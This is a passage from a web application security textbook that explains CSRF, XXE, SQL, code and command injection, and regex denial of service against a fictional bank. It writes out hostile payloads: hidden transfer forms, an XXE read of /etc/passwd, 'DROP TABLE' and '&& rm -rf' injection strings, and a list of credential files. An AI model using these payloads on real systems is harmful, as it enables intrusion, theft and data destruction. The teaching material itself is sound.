<img src="https://www.mega-bank.com/transfer?
to_user=<hacker's account>&amount=10000" width="0" height="0" border="0">

When image tags are detected in the browser, the browser will initiate a GET request
to the src endpoint included in the <img> tag (see Figure 11-2). This is how the
image objects are loaded into the browser.

As such, an image tag (in this case an invisible 0 × 0 pixel image) can be used to ini‐
tiate a CSRF without any user interaction required.

Figure 11-2. CSRF IMG—inside of the target application, an <img> tag is posted that
forces an HTTP GET when loaded
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Likewise, most other HTML tags that allow a URL parameter can also be used to
make malicious GET requests. Consider the HTML5 <video></video> tag:

<!-- Videos typically load into the DOM immediately, depending on the browser's
configuration. Some mobile browsers will not load until the element is interacted
with. -->
<video width="1280" height="720" controls>
  <source src="https://www.mega-bank.com/transfer?
  to_user=<hacker's account>&amount=10000" type="video/mp4">
</video>

The preceding video functions identically to the image tag used. As such, it’s impor‐
tant to be on the lookout for any type of tag that requests data from a server via an
src attribute. Most of these can be used to launch a CSRF attack against an unsus‐
pecting end user.

CSRF Against POST Endpoints
Typically CSRF attacks take place against GET endpoints, as it is much easier to dis‐
tribute a CSRF via a hyperlink, image, or other HTML tag that initiates an HTTP
GET request automatically.

However, it is still possible to deliver a CSRF payload that targets a POST, PUT, or
DELETE endpoint. Delivery of a POST payload just requires a bit more work as well
as some mandatory user interaction (see Figure 11-3).

Typically CSRF attacks delivered by POST requests are created via browser forms, as
the <form></form> object is one of the few HTML objects that can initiate a POST
request without any script required.

<form action="https://www.mega-bank.com/transfer" method="POST">
  <input type="hidden" name="to_user" value="hacker">
  <input type="hidden" name="amount" value="10000">
  <input type="submit" value="Submit">
</form>

In the case of CSRF via POST form, we can make use of the “hidden” type attribute
on form inputs in order to seed data that will not be rendered inside of the browser.
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Figure 11-3. CSRF POST—A form is submitted targeting another server that is not
accessible to the creator of the form but is to the submitter of the form

We can further manipulate the user by offering legitimate form fields in addition to
the hidden fields that are required to design the CSRF payload:

<form action="https://www.mega-bank.com/transfer" method="POST">
  <input type="hidden" name="to_user" value="hacker">
  <input type="hidden" name="amount" value="10000">
  <input type="text" name="username" value="username">
  <input type="password" name="password" value="password">
  <input type="submit" value="Submit">
</form>

In this example, the user will see a login form—perhaps to a legitimate website. But
when the form is filled out, a request will actually be made against MegaBank—no
login attempt to anything will be initiated.

This is an example of how legitimate-looking HTML components can be used to send
requests taking advantage of the user’s current application state in the browser. In this
case, the user is signed into MegaBank, and although they are interacting with an
entirely different website, we are able to take advantage of their current session in
MegaBank to perform elevated operations on their behalf.
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This technique can also be used to make requests on behalf of a user who has access
to an internal network. The creator of a form cannot make requests to servers on an
internal network, but if a user who is on the internal network fills out and submits the
form, the request will be made against the internal server as a result of the target
user’s elevated network access.

Naturally, this type of CSRF (POST) is more complex than seeding a CSRF GET
request via an <a></a> tag—but sometimes you must make an elevated request
against a POST endpoint in which case forms are the easiest way of successfully mak‐
ing an attack.

Summary
CSRF attacks exploit the trust relationship that exists between a web browser, a user,
and a web server/API. By default, the browser trusts that actions performed from the
user’s device are on behalf of that user.

In the case of CSRF, this is partially true because the user initiates the action, but does
not understand what the action is doing behind the scenes. When a user clicks on a
link, the browser initiates an HTTP GET request on their behalf—regardless of where
this link came from. Because the link is trusted, valuable authentication data can be
sent alongside the GET request.

At its core, CSRF attacks work as a result of the trust model developed by browser
standards committees like WhatWG. It’s possible these standards will change in the
future, making CSRF-style attacks much more difficult to pull off. But for the time
being, these attacks are here to stay. They are common on the web and easy to exploit.
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CHAPTER 12

XML External Entity (XXE)

XML External Entity (XXE) is a classification of attack that is often very simple to
execute, but with devastating results. This classification of attack relies on an improp‐
erly configured XML parser within an application’s code.

Generally speaking, almost all XXE attack vulnerabilities are found as a result of an
API endpoint that accepts an XML (or XML-like) payload. You may think that HTTP
endpoints accepting XML is uncommon, but XML-like formats include SVG, HTML/
DOM, PDF (XFDF), and RTF. These XML-like formats share many common similar‐
ities with the XML spec, and as result, many XML parsers also accept them as inputs.

The magic behind an XXE attack is that the XML specification includes a special
annotation for importing external files. This special directive, called an external
entity, is interpreted on the machine on which the XML file is evaluated. This means
that a specially crafted XML payload sent to a server’s XML parser could result in
compromising files in that server’s file structure.

XXE is often used to compromise files from other users, or to access files like /etc/
shadow that store important credentials required for a Unix-based server to function
properly.

Direct XXE
In direct XXE, an XML object is sent to the server with an external entity flag. It is
then parsed, and a result is returned that includes the external entity (see
Figure 12-1).

Imagine mega-bank.com has a screenshot utility that allows you to send screenshots
of what is going on in your bank portal directly to customer support.
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Figure 12-1. Direct XXE

On the client, the feature looks like this:

<!--
 A simple button. Calls the function `screenshot()` when clicked.
 -->
<button class="button"
        id="screenshot-button"
        onclick="screenshot()">
        Send Screenshot to Support</button>

/*
 * Collect HTML DOM from the `content` element and invoke an XML
 * parser to convert the DOM text to XML.
 *
 * Send the XML over HTTP to a function that will generate a screenshot
 * from the provided XML.
 *
 * Send the screenshot to support staff for further analysis.
 */
const screenshot = function() {
  try {
    /*
     * Attempt to convert the `content` element to XML.
     * Catch if this process fails—generally this should succeed
     * because HTML is a subset of XML.
     */
    const div = document.getElementById('content').innerHTML;
    const serializer = new XMLSerializer();
    const dom = serializer.serializeToString(div);

    /*
     * Once the DOM has been converted to XML, generate a request to
     * an endpoint that will convert the XML to an image. Hence
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     * resulting in a screenshot.
     */
    const xhr = new XMLHttpRequest();
    const url = 'https://util.mega-bank.com/screenshot';
    const data = new FormData();
    data.append('dom', dom);

    /*
     * If the conversion of XML -> image is successful,
     * send the screenshot to support for analysis.
     *
     * Else alert the user the process failed.
     */
    xhr.onreadystatechange = function() {
      sendScreenshotToSupport(xhr.responseText, (err) => {
        if (err) { alert('could not send screenshot.') }
        else { alert('screenshot sent to support!'); }
      });
    }

    xhr.send(data);
    } catch (e) {

      /*
       * Warn the user if their browser is not compatible with this feature.
       */
      alert(Your browser does not support this functionality. Consider upgrading.
      );
    }
};

The functionality of this feature is simple: a user clicks a button that sends a screen‐
shot of their difficulties to the support staff.

The way this works programmatically isn’t too complex either:

1. The browser converts the current user’s view (via the DOM) to XML.
2. The browser sends this XML to a service which converts it to a JPG.
3. The browser sends that JPG to a member of MegaBank support via another API.

There is, of course, more than one issue with this code. For example, we could call the
sendScreenshotToSupport() function ourselves with our own images. It is much
harder to validate the contents of an image as legitimate than it is an XML, and
although converting XML to images is easy, image to XML is harder since you will
lose out on context (div names, IDs, etc.).

On the server, a route named screenshot correlates with the request we made from
our browser:

Direct XXE | 143



import xmltojpg from './xmltojpg';

/*
 * Convert an XML object to a JPG image.
 *
 * Return the image data to the requester.
 */
app.post('/screenshot', function(req, res) {
 if (!req.body.dom) { return res.sendStatus(400); }
 xmltojpg.convert(req.body.dom)
 .then((err, jpg) => {
   if (err) { return res.sendStatus(400); }
   return res.send(jpg);
 });
});

To convert the XML file to a JPG file, it must go through an XML parser. To be a valid
XML parser, it must follow the XML spec.

The payload our client is sending to the server is simply a collection of HTML/DOM
converted into XML format for easy parsing. There is very little chance it would ever
do anything dangerous under normal use cases.

However, the DOM sent by the client is definitely modifiable by a more tech-savvy
user. Alternatively, we could just forge the network request and send our own custom
payload to the server:

import utilAPI from './utilAPI';

/*
 * Generate a new XML HTTP request targeting the XML -> JPG utility API.
 */
const xhr = new XMLHttpRequest();
xhr.open('POST', utilAPI.url + '/screenshot');
xhr.setRequestHeader('Content-Type', 'application/xml');

/*
 * Provide a manually crafted XML string that makes use of the external
 * entity functionality in many XML parsers.
 */
const rawXMLString = `<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><xxe>&xxe;</xxe>`;

xhr.onreadystatechange = function() {
   if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
       // check response data here
   }
}

/*
 * Send the request to the XML -> JPG utility API endpoint.
 */
xhr.send(rawXMLString);
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When the server picks up this request, its parser will evaluate the XML and then
return an image (JPG) to us in the response. If the XML parser does not explicitly
disable external entities, we should see the text-based file content of /etc/passwd
inside the returned screenshot.

Indirect XXE
With indirect XXE, as the result of some form of request, the server generates an
XML object. The XML object includes params provided by the user, potentially lead‐
ing to the inclusion of an external entity tag (see Figure 12-2).

Figure 12-2. Indirect XXE

Sometimes an XXE attack can be used against an endpoint that does not directly
operate on a user-submitted XML object.

It’s natural when we encounter an API that takes an XML-like object as a parameter
that we should first consider attempting to reference an external entity via an XXE
attack payload. However, just because an API does not take an XML object as part of
its payload does not mean it doesn’t make use of an XML parser.

Consider the following use case. A developer is writing an application that requests
only one parameter from the user via a REST API endpoint. This application is
designed to sync this parameter with an enterprise-grade CRM software package
already in use by the company.
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The CRM company may expect XML payloads for its API, which means that
although the publicly exposed payload does not accept XML, in order for the server
to properly communicate with the CRM software package, the user’s payload must be
converted to an XML object via the REST server and then be sent to the CRM
software.

Often this happens behind the scenes, which can make it difficult for a hacker to
deduce that any XML is being used at all. Unfortunately, this is actually a very com‐
mon occurrence. As enterprise software (or software-reliant) companies grow, they
often upgrade their software in a piecemeal fashion rather than building it all from
scratch. This means that many times, modern JSON/REST APIs will in fact interface
at some point or another with an XML/SOAP API. Modern-looking software and leg‐
acy software systems are cobbled together by many companies throughout the world,
and these integrations are often full of deep security holes ripe for exploitation.

In the previous example, our non-XML payload would be converted to XML on the
server prior to being sent to another software system. But how would we detect this is
happening without insider knowledge?

One way is by doing background research on the company whose web application
you are testing to determine what large enterprise licensing agreements they have.
Sometimes, these are even public knowledge.

It may also be possible to look into other web pages they host to see if any data is
being presented via a separate system or URL that does not belong to the company.
Furthermore, many old enterprise software packages from CRM to accounting or HR
have limitations on the structure of the data they can store. By knowing the expected
data types for these integrated software packages, you may be able to deduce their
usage with the public-facing API if it expects abnormal formatting of data before
being sent over the network.

Summary
XXE attacks are simple to understand, and often simple to initiate. The reason these
attacks deserve mention is because of how powerful they are—potentially compro‐
mising an entire web server, let alone a web application that runs on top of it.

XXE attacks rely on a standard that is security deficient, but widely adopted and
relied upon throughout the internet. XXE attacks against XML parsers are easy to fix.
Sometimes just a single configuration line can remove the ability to reference external
entities. That being said, these attacks should always be tried against new
applications, as a single missing configuration line in an XML parser can result in so
much damage.
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CHAPTER 13

Injection

One of the most commonly known types of attacks against a web application is SQL
injection. SQL injection is a type of injection attack that specifically targets SQL data‐
bases, allowing a malicious user to either provide their own parameters to an existing
SQL query, or to escape an SQL query and provide their own query. Naturally, this
typically results in a compromised database because of the escalated permissions the
SQL interpreter is given by default.

SQL injection is the most common form of injection, but not the only form. Injection
attacks have two major components: an interpreter and a payload from a user that is
somehow read into the interpreter. This means that injection attacks can occur
against command-line utilities like FFMPEG (a video compressor) as well as against
databases (like the traditional SQL injection case).

Let’s take a look at several forms of injection attacks so that we can get a good under‐
standing of what type of application architecture is required for such an attack to
work, and how a payload against a vulnerable API could be formed and delivered.

SQL Injection
SQL injection is the most classically referenced form of injection (see Figure 13-1).
An SQL string is escaped in an HTTP payload, leading to custom SQL queries being
executed on behalf of the end user.
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Figure 13-1. SQL injection

Traditionally, many OSS packages were built using a combination of PHP and SQL
(often MySQL). Many of the most referenced SQL injection vulnerabilities through‐
out history occurred as a result of PHP’s relaxed view on interpolation among view,
logic, and data code. Old-school PHP developers would interweave a combination of
SQL, HTML, and PHP into their PHP files—an organizational model supported by
PHP that would be misused, resulting in an enormous amount of vulnerable PHP
code.

Let’s look at an example of a PHP code block for an old-school forum software that
allows a user to log in:

<?php if ($_SERVER['REQUEST_METHOD'] != 'POST') {
  echo'
   <div class="row">
     <div class="small-12 columns">
         <form method="post" action="">
           <fieldset class="panel">
             <center>
               <h1>Sign In</h1><br>
             </center>
             <label>
               <input type="text" id="username" name="username"
               placeholder="Username">
             </label>
             <label>
              <input type="password" id="password" name="password"
              placeholder="Password">
             </label>
             <center>
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               <input type="submit" class="button" value="Sign In">
             </center>
           </fieldset>
         </form>
     </div>
  </div>';
} else {
  // the user has already filled out the login form.
  // pull in database info from config.php
   $servername = getenv('IP');
   $username   = $mysqlUsername;
   $password   = $mysqlPassword;
   $database   = $mysqlDB;
   $dbport     = $mysqlPort;
   $database = new mysqli($servername, $username, $password, $database,$dbport);
   if ($database->connect_error) {
     echo "ERROR: Failed to connect to MySQL";
  die;
   }
  $sql = "SELECT userId, username, admin, moderator FROM users WHERE username =
   '".$_POST['username']."' AND password = '".sha1($_POST['password'])."';";
  $result = mysqli_query($database, $sql);
}

As you can see in this login code, PHP, SQL, and HTML are all intermixed. Further‐
more, the SQL query is generated based off of concatenation of query params with no
sanitization occurring prior to the query string being generated.

The interweaving of HTML, PHP, and SQL code most definitely made SQL injection
much easier for PHP-based web applications. Even some of the largest OSS PHP
applications, like WordPress, have fallen victim to this in the past.

In more recent years, PHP coding standards have become much more strict and the
language has implemented tools to reduce the odds of SQL injection occurring. Fur‐
thermore, PHP as a language of choice for application developers has decreased in
usage. According to the TIOBE index, an organization that measures the popularity
of programming languages, PHP usage has declined significantly since about 2010.

The result of these developments is that there is less SQL injection across the entire
web. In fact, injection vulnerabilities have decreased from nearly 5% of all vulnerabili‐
ties in 2010 to less than 1% of all vulnerabilities found today, according to the
National Vulnerability Database.

The security lessons learned from PHP have lived on in other languages, and it is
much more difficult to find SQL injection vulnerabilities in today’s web applications.
It is still possible, however, and still common in applications that do not make use of
secure coding best practices.

Let’s consider another simple Node.js/Express.js server—this time one that communi‐
cates with an SQL database:
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const sql = require('mssql');

/*
 * Recieve a POST request to /users, with a user_id param on the request body.
 *
 * An SQL lookup will be performed, attempting to find a user in the database
 * with the `id` provided in the `user_id` param.
 *
 * The result of the database query is sent back in the response.
 */
app.post('/users', function(req, res) {
  const user_id = req.params.user_id;

 /*
  * Connect to the SQL database (server side).
  */
  await sql.connect('mssql://username:password@localhost/database');

  /*
   * Query the database, providing the `user_id` param from the HTTP
   * request body.
   */
  const result = await sql.query('SELECT * FROM users WHERE USER = ' + user_id);

 /*
  * Return the result of the SQL query to the requester in the
  * HTTP response.
  */
  return res.json(result);
});

In this example, a developer used direct string concatenation to attach the query
param to the SQL query. This assumes the query param being sent over the network
has not been tampered with, which we know not to be a reliable metric for legitimacy.

In the case of a valid user_id, this query will return a user object to the requester. In
the case of a more malicious user_id string, many more objects could be returned
from the database. Let’s look at one example:

const user_id = '1=1'

Ah, the old truthy evaluation. Now the query says SELECT * FROM users where
USER = true, which translates into “give all user objects back to the requester.”

What if we just started a new statement inside of our user_id object?

user_id = '123abc; DROP TABLE users;';

Now our query looks like this: SELECT * FROM users WHERE USER = 123abd; DROP
TABLE users;. In other words, we appended another query on top of the original
query. Oops, now we need to rebuild our userbase.
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A more stealthy example can be something like this:

const user_id = '123abc; UPDATE users SET credits = 10000 WHERE user = 123abd;'

Now, rather than requesting a list of all users, or dropping the user tables, we are
using the second query to update our own user account in the database—in this case,
giving ourselves more in-app credits than we should otherwise have.

There are a number of great ways to prevent these attacks from occurring, as SQL
injection defenses have been in development for over two decades now. We will dis‐
cuss in detail how to defend against these attacks in Part III.

Code Injection
In the injection world, SQL injection is just a subset of “injection"-style attacks. SQL
injection is categorized as injection because it involves an interpreter (the SQL inter‐
preter) being targeted by a payload that is read into the interpreter as a result of
improper sanitization, which should allow only specific parameters from the user to
be read into the interpreter. A command-line interface (CLI) called by an API end‐
point is provided with additional unexpected commands due to lack of sanitization
(see Figure 13-2). These commands are executed against the CLI.

Figure 13-2. CLI injection

SQL injection is first an injection attack and second a code injection attack. This is
because the script that runs in an injection attack runs under an interpreter or CLI
rather than against the host operating system (command injection).
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As mentioned earlier, there are many lesser-known styles of code injection that do
not rely on a database. These are less common for a number of reasons. First, almost
every complex web application today relies on a database for storing and retrieving
user data. So it’s much more likely you will find SQL or other database injection
instead of injection against a less common CLI running on the server.

In addition, knowledge of exploiting SQL databases through injection is very com‐
mon, and SQL injection attacks are easy to research. You can perform a couple of
quick searches on the internet and find enough reading material on SQL injection to
last you for hours, if not days.

Other forms of code injection are harder to research, not because they are less com‐
mon (they are, but I don’t believe that’s why there is less documentation), but because
often code injection is application specific. In other words, almost every web applica‐
tion will make use of a database (typically some type of SQL), but not every web
application will make use of other CLI/interpreters that can be controlled via an API
endpoint.

Let’s consider an image/video compression server that MegaBank has allocated for
use in its customer-facing marketing campaigns. This server is a collection of REST
APIs located at https://media.mega-bank.com. In particular, it consists of a few inter‐
esting APIs:

• uploadImage (POST)
• uploadVideo (POST)
• getImage (GET)
• getVideo (GET)

The endpoint uploadImage() is a simple Node.js endpoint that looks something like
this:

const imagemin = require('imagemin');
const imageminJpegtran = require('imagemin-jpegtran');
const fs = require('fs');

/*
 * Attempts to upload an image provided by a user to the server.
 *
 * Makes use of imagemin for image compression to reduce impact on server
 * drive space.
 */
app.post('/uploadImage', function(req, res) {
  if (!session.isAuthenticated) { return res.sendStatus(401); }

  /*
   * Write the raw image to disk.
   */
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  fs.writeFileSync(`/images/raw/${req.body.name}.png`, req.body.image);

  /*
   * Compresses a raw image, resulting in an optimized image with lower disk
   * space required.
   */
  const compressImage = async function() {
    const res = await imagemin([`/images/raw/${req.body.name}.png`],
    `/images/compressed/${req.body.name}.jpg`);

    return res;
  };

  /*
   * Compress the image provided by the requester, continue script
   * expecution when compression is complete.
   */
  const res = await compressImage();

  /*
   * Return a link to the compressed image to the client.
   */
  return res.status(200)
    .json({url: `https://media.mega-bank.com/images/${req.body.name}.jpg` });
});

This is a pretty simple endpoint that converts a PNG image to a JPG. It makes use of
the imagemin library to do so, and does not take any params from the user to deter‐
mine the compression type, with the exception of the filename.

It may, however, be possible for one user to take advantage of filename duplication
and cause the imagemin library to overwrite existing images. Such is the nature of file‐
names on most operating systems:

// on the front-page of https://www.mega-bank.com
<html>
  <!-- other tags  -->
  <img src="https://media.mega-bank.com/images/main_logo.png">
  <!-- other tags -->
</html>

const name = 'main_logo.png';
// uploadImage POST with req.body.name = main_logo.png

This doesn’t look like an injection attack, because it’s just a JavaScript library that is
converting and saving an image. In fact, it just looks like a poorly written API end‐
point that did not consider a name conflict edge case. However, because the imagemin
library invokes a CLI (imagemin-cli), this would actually be an injection attack—
making use of an improperly sanitized CLI attached to an API to perform unintended
actions.
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This is a very simple example though, with not much exploitability left beyond the
current case. Let’s look at a more detailed example of code injection outside of the
SQL realm:

const exec = require('child_process').exec;
const converter = require('converter');

const defaultOptions = '-s 1280x720';

/*
 * Attempts to upload a video provided by the initiator of the HTTP post.
 *
 * The video's resolution is reduced for better streaming compatibility;
 * this is done with a library called `converter.`
 */
app.post('/uploadVideo', function(req, res) {
 if (!session.isAuthenticated) { return res.sendStatus(401); }

 // collect data from HTTP request body
 const videoData = req.body.video;
 const videoName = req.body.name;
 const options = defaultOptions + req.body.options;

 exec(`convert -d ${videoData} -n ${videoName} -o ${options}`);
});

Let’s assume this fictional “converter” library runs a CLI in its own context, similar to
many Unix tools. In other words, after running the command convert, the executor
is now scoped to the commands provided by the converter rather than those pro‐
vided by the host OS.

In our case, a user could easily provide valid inputs—perhaps compression type and
audio bit rate. These could look like this:

const options = '-c h264 -ab 192k';

On the other hand, they might be able to invoke additional commands based on the
structure of the CLI:

const options = '-c h264 -ab 192k \ convert -dir /videos -s 1x1';

How to inject additional commands into a CLI is based on the architecture of the
CLI. Some CLIs support multiple commands on one line while others do not. Many
are broken by line breaks, spaces, or ampersands (&&).

In this case, we used a line break to add an additional statement to the converter CLI.
This was not the developer’s intended use case as the additional statement allows us
to redirect the converter CLI and make modifications to videos we do not own.
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In the case where this CLI runs against the host OS versus in its own contained envi‐
ronment, we would have command injection instead of code injection. Imagine the
following:

$ convert -d vidData.mp4 -n myVid.mp4 -o '-s 1280x720'

This command is running in Bash, via the Unix OS terminal, as most compression
software runs.

If the quotes could be escaped in the node endpoint before being executed against the
host OS:

const options = "' && rm -rf /videos";

As a result of the apostrophe (') to break the options string, we now run into a much
more dangerous form of injection that results in the following command being run
against the host OS:

$ convert -d vidData.mp4 -n myVid.mp4 -o '-s 1280x720' && rm -rf /videos

While code injection is limited to an interpreter or CLI, command injection exposes
the entire OS.

When interpolating between scripts and system-level commands, it is essential to pay
attention to detail in how a string is sanitized before being executed against a host OS
(Linux, Macintosh, Windows, etc.) or interpreter (SQL, CLIs, etc.) in order to prevent
command injection and code injection.

Command Injection
With command injection, an API endpoint generates Bash commands, including a
request from a client. A malicious user adds custom commands that modify the nor‐
mal operation of the API endpoint (see Figure 13-3).

My reasoning for introducing the CLI example using a video converter in the last sec‐
tion was to ease into command injection.

So far we have learned that code injection involves taking advantage of an improperly
written API to make an interpreter or CLI perform actions that the developer did not
intend. We have also learned that command injection is an elevated form of code
injection where rather than performing unintended actions against a CLI or inter‐
preter, we are performing unintended actions against an OS.

Command Injection | 155



Figure 13-3. Command injection

Let’s step back for a second and consider the implications of an attack at this level.

First, the ability to execute commands (typically Bash) against a Unix-based OS
(Macintosh or Linux) has very serious risks attached to it. If we have direct access to
the host Unix OS (over 95% of servers are Unix-based), and our commands are inter‐
preted as a super user, we can do anything we want to that OS.

A compromised OS gives the hacker access to a number of very integral files and per‐
missions, such as:

/etc/passwd
Keeps track of every user account on the OS

/etc/shadow
Contains encrypted passwords for users

~/.ssh
Contains SSH keys for communicating with other systems

/etc/apache2/httpd.conf
Configuration for Apache-based servers

/etc/nginx/nginx.conf
Configuration for Nginx-based servers

Furthermore, command injection could potentially give us write permissions against
these files in addition to read permissions.

A hole like this opens up an entire host of potential attacks where we can make use of
command injection to cause more havoc than expected including:
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• Steal data from the server (obvious).
• Rewrite log files to hide our tracks.
• Add an additional database user with write access for later use.
• Delete important files on the server.
• Wipe the server and kill it.
• Make use of integrations with other servers/APIs (e.g., using a server’s Sendgrid

keys to send spam mail).
• Change a single login form in the web app to be a phishing form that sends

unencrypted passwords to our site.
• Lock the admins out and blackmail them.

As you can see, command injection is one of the most dangerous types of attacks a
hacker has in their toolkit. It is at the very top of every vulnerability risk rating scale,
and will continue to be there for a long time to come, even with the mitigations in
place on modern web servers.

One of these mitigations on Unix-based operating systems is a robust permissions
system that may be able to mitigate some of the risk by reducing the damage that
could be caused by a compromised endpoint. Unix-based operating systems allow
detailed permissions to be applied to files, directories, users, and commands. Correct
setup of these permissions can potentially eliminate the risk of many of the preceding
threats by forcing an API to run as an unprivileged user. Unfortunately, most of the
applications at risk for command injection do not take these steps to create advanced
user permission profiles for their code.

Let’s look at how simple code injection can be with another fast and dirty example:

const exec = require('child_process').exec;
const fs = require('fs');
const safe_converter = require('safe_converter');

/*
 * Upload a video to be stored on the server.
 *
 * Makes use of the `safe_converter` library to convert the raw video
 * prior to removing the raw video from disc and returning an HTTP 200 status
 * code to the requester.
 */
app.post('/uploadVideo', function(req, res) {
 if (!session.isAuthenticated) { return res.sendStatus(401); }

 /*
  * Write the raw video data to disk, where it can be later
  * compressed and then removed from disk.
  */
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 fs.writeFileSync(`/videos/raw/${req.body.name}`, req.body.video);

 /*
  * Convert the raw, unoptimized video—resulting in an optimized
  * video being generated.
  */
 safe_converter.convert(`/videos/raw/${req.body.name}`,
  `'/videos/converted/${req.body.name}`)
 .then(() => {

    /*
     * Remove the raw video file when it is no longer needed.
     * Keep the optimized video file.
     */
    exec(`rm /videos/raw/${req.body.name}`);
    return res.sendStatus(200);
  });
});

There are several operations in this example:

1. We write the video data to the disk in the /videos/raw directory.
2. We convert the raw video file, writing the output to /videos/converted.
3. We remove the raw video (it is no longer needed).

This is a pretty typical compression workflow. However, in this example the line that
removes the raw video file, exec(rm /videos/raw/${req.body.name});, relies on
unsanitized user input to determine the name of the video file to remove.

Furthermore, the name is not parameterized but instead is concatenated to the Bash
command as a string. This means that additional commands could be present that
occur after the video is removed. Let’s evaluate a scenario that could result in this:

// name to be sent in POST request
const name = 'myVideo.mp4 && rm -rf /videos/converted/';

Similarly to the final example in the code execution, an improperly sanitized input
here could result in additional commands being executed against the host OS—hence
the name “command injection.”

Summary
Injection-style attacks extend beyond common SQL injection, and span across many
other technologies, as seen in this chapter.

Unlike XXE attacks, injection-style attacks are not the result of a specific weak speci‐
fication, but are instead a type of vulnerability that arises when the user’s inputs are
trusted too much. Injection-style attacks are great to master as a bug bounty hunter
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or penetration tester because while well-known databases probably have defenses set
up, injection attacks against parsers and CLIs are less documented and hence likely to
have less rigid defensive mechanisms in place.

Injection attacks require some understanding of an application’s function, as they typ‐
ically arise as a result of server code being executed that includes text parsed from the
client’s HTTP request. These attacks are powerful, elegant, and capable of accom‐
plishing many goals—be it data theft, account takeover, permissions elevations, or
just causing general chaos.
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CHAPTER 14

Denial of Service (DoS)

Perhaps one of the most popular types of attacks, and the most widely publicized, is
the distributed denial of service (DDoS) attack. This attack is a form of denial of ser‐
vice (DoS), in which a large network of devices flood a server with requests, slowing
down the server or rendering it unusable for legitimate users.

DoS attacks come in many forms, from the well-known distributed version that
involves thousands or more coordinated devices, to code-level DoS that affects a sin‐
gle user as a result of a faulty regex implementation, resulting in long times to validate
a string of text. DoS attacks also range in seriousness from reducing an active server,
to a functionless electric bill, to causing a user’s web page to load slightly slower than
usual or pausing their video midbuffer.

Because of this, it is very difficult to test for DoS attacks (in particular, the less severe
ones). Most bug bounty programs outright ban DoS submissions to prevent bounty
hunters from interfering with regular application usage.

Because DoS vulnerabilities interfere with the usage of normal
users via the application, it is most effective to test for DoS vulnera‐
bilities in a local development environment where real users will
not experience service interruption.

Except for a few exceptions, DoS attacks usually do not cause permanent damage to
an application, but do interfere with the usability of an application for legitimate
users. Depending on the specific DoS attack, sometimes it can be very difficult to find
the DoS sink that is degrading the experience of your users.
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regex DoS (ReDoS)
Regular-expression-based DoS (regex DoS [ReDoS]) vulnerabilities are some of the
most common forms of DoS in web applications today. Generally speaking, these vul‐
nerabilities range in risk from very minor to medium, often depending on the loca‐
tion of the regex parser.

Taking a step back, regular expressions are often used in web applications to validate
form fields and make sure the user is inputting text that the server expects. Often this
means only allowing users to input characters into a password field that the applica‐
tion has opted to accept, or only put a maximum number of characters into a com‐
ment so the full comment will display nicely when presented in the UI.

Regular expressions were originally designed by mathematicians studying formal lan‐
guage theory to define sets and subsets of strings in a very compact manner. Almost
every programming language on the web today includes its own regex parser, with
JavaScript in the browser being no exception.

In JavaScript, regex are usually defined one of two ways:

const myregex = /username/; // literal definition

const myregex = new regexp('username'); // constructor

A complete lesson on regular expressions is beyond the scope of this book, but it is
important to note that regular expressions are generally fast and very powerful ways
of searching or matching through text. At least the basics of regular expressions are
definitely worth learning.

For this chapter, we should just know that anything between two forward slashes in
JavaScript is a regex literal: /test/.

Regex can also be used to match ranges:

const lowercase = /[a-z]/;
const uppercase = /[A-Z]/;
const numbers = /[0-9]/;

We can combine these with logical operators, like OR:

const youori = /you|i/;

And so on.

You can test if a string matches a regular expression easily in JavaScript:

const dog = /dog/;
dog.test('cat'); // false
dog.test('dog'); // true

As mentioned, regular expressions are generally parsed really fast. It’s rare that a reg‐
ular expression functions slowly enough to slow down a web application. That being
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said, regular expressions can be specifically crafted to run slowly. These are called
malicious regexes (or sometimes evil regexes), and are a big risk when allowing users
to provide their own regular expressions for use in other web forms or on a server.
Malicious regexes can also be introduced to an application accidentally, although it is
probably a rare case when a developer is not familiar enough with regex to avoid a
few common mistakes.

Generally speaking, most malicious regex are formed using the plus “+” operator,
which changes the regex into a “greedy” operation. Greedy regex test for one or more
matches, rather than stopping at the first match found.

Malicious regex will result in backtracking whenever it finds a failure case. Consider
the regex: /^((ab)*)+$/. This regex does the following:

1. At the start of the line defines capture group ((ab)*)+.
2. (ab)* suggests matching between 0 and infinite combinations of ab.
3. + suggests finding every possible match for #2.
4. $ suggests matching until the end of the string.

Testing this regex with the input abab will actually run pretty quickly and not cause
much in the way of issues.

Expanding the pattern outwards, ababababababab, will also run quite fast. If we mod‐
ify this pattern to abababababababa with an extra “a”, suddenly the regex will evaluate
slowly, potentially taking a few milliseconds to complete.

This occurs because the regex is valid until the end, in which case the engine will
backtrack and try to find combination matches:

• (abababababababa) is not valid.
• (ababababababa)(ba) is not valid.
• (abababababa)(baba) is not valid.
• Many iterations later: (ab)(ab)(ab)(ab)(ab)(ab)(ab)(a) is not valid.

Essentially, because the regex engine is attempting to exhaustively try all possible
valid combinations of (ab), it will have to complete a number of combinations equal
to the length of the string before determining the string itself is not valid (after check‐
ing all possible combinations).

A quick attempt of this techinique using a regex engine is shown in Table 14-1.
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Table 14-1. Regex (malicious input) time to match (/^((ab)*)+$/)

Input Execution time
abababababababababababa (23 chars) 8 ms

ababababababababababababa (25 chars) 15 ms

abababababababababababababa (27 chars) 31 ms

ababababababababababababababa (29 chars) 61 ms

As you can see, the input constructed for breaking the regex parser using this evil or
malicious regex results in doubling the time for the parser to finish matching with
every two characters added. This continues onward and eventually will easily cause
significant performance reduction on a web server (if computed server side) or totally
crash a web browser (if computed client side).

Interestingly enough, this malicious regex is not vulnerable to all inputs, as Table 14-2
shows.

Table 14-2. Regex (safe input) time to match (/^((ab)*)+$/)

Input Execution time
ababababababababababab (22 chars) <1 ms

abababababababababababab (24 chars) <1 ms

ababababababababababababab (26 chars) <1 ms

abababababababababababababab (28 chars) >1 ms

This means that a malicious regular expression used in a web application could lie
dormant for years until a hacker found an input that caused the regex parser to per‐
form significant backtracking, hence appearing out of nowhere.

Regex DoS attacks are more common than you’d think, and can easily take down a
server or render client machines useless if the proper payload can be found. It should
be noted that OSS is often more vulnerable to malicious regex, as few developers are
capable of detecting malicious regex.

Logical DoS Vulnerabilities
With logical DoS vulnerabilities, server resources are drained by an illegitimate user.
As a result, legitimate users experience performance degradation or loss of service (as
shown in Figure 14-1).
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Figure 14-1. Here server resources are drained by an illegitimate user, creating perfor‐
mance degradation or loss of service for legitimate users

Regex is an easy introduction to DoS vulnerabilities and exploiting DoS because it
provides a centralized starting place for researching and attempting attacks (any‐
where a regex parser is present). It is important to note, however, that due to the
expansive nature of DoS, DoS vulnerabilities can be found in almost any type of
software!

Logical DoS vulnerabilities are some of the hardest to find and exploit, but appear
